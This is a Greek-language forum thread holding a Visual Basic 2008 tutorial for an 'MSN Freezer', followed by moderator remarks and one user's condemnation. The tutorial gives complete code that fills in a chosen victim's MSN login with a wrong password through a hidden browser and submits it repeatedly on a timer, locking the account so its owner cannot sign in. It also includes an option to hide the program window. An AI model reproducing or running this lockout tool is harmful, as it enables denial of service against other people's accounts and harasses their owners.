[GR][How To] Make MSN Freezer with Visual Basic

[DiogenisPro]

καλησπέρα σας

 

Visual basic 2008 - Make A MSN Freezer!

 

ερώτηση :

Τι πρόκειται να κάνουμε σήμερα;

 

Απάντηση :

θα φτιάξουμε έναν MSN Freezer

 

ερώτηση :

Τι κάνει ένας MSN Freezer ;

 

Απάντηση :

- "παγώνει" των λογαριασμό msn που θέλετε, ώστε ο MSN λογαριασμός να μην μπορεί να κάνει είσοδο.

 

Ερώτηση :

Τι πρόγραμμα χρειάζομαι για να φτιάξω έναν MSN Freezer;

 

Απάντηση :

- Για αυτό tutorial, θα χρησιμοποιήσουμε το Visual basic 2008

 

Εντάξει ας ξεκινήσουμε

 

- Ανοίξτε το Visual Basic 2008

- Ανοίξτε ένα νέο project και ονομάστε τω όπως θέλετε

- Κάντε ένα textbox

- Κάντε ένα checkbox με το κείμενο "Hide"

- Κάντε 2 κουμπιά(buttons) με το κείμενο "Freeze" και "Unfreeze"

- Κάντε μια WebBrowser με visible FALSE και βαλτε url: "http://mobile.msn.com/hm/folder.phpx".

- Κάντε 3 labels με label1 με το κείμενο "MSN Adress", label2: "Status" και το label3: το τελευταίο με τίποτα "».

- Κάντε ένα χρονόμετρο με Enabled το FALSE και Interval σύνολο 100.

- Τώρα κάντε διπλό κλικ στο Form και αφαιρέστε όλο το κείμενο

mports System.Threading.Thread
Public Class Form1

   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
       WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

   End Sub

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Timer1.Enabled = True
       Label3.Text = "Freezing..."
   End Sub

   Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       On Error GoTo errordetected
       WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
       WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
       Sleep(2000)
       WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")

       GoTo done
errordetected:
       Label3.Text = "Frozen!"
       WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:

   End Sub

   Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
       Label3.Text = "Ready"
       MsgBox("MSN UnFrozen!")
       Timer1.Enabled = False
   End Sub

   Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
       If CheckBox1.Checked = True Then
           Me.Hide()
       End If
   End Sub
End Class

 

Τώρα μπορείτε να χτίσετε το πρόγραμμα και να το χρησιμοποιήσουμε ως MSN Freezer!

 

Credit goes to me for making the source and making the Tutorial!

 

[MasterDisaster]

Υπάρχει section ειδικό για guides.

Γιατί ποστάρεις εδώ;

Τεσπα,αφού το τόπικ σου είναι στα ελληνικά βάλε και [gr] tags..

Locked μέχρι να μεταφερθεί στο σωστό section.

[WeirdSituation]

tags added, moved and unlocked.

[Dir50]

1 guide is leeched

2 how you dare to use such programs ? internet is full of them /facepalm.

My opinion ?

BULLSHIT

Imagine your msn frozen for days , because an idiot wanted to "play"

 

 

Freeze - UnFreeze => best  game ever!!!! . . .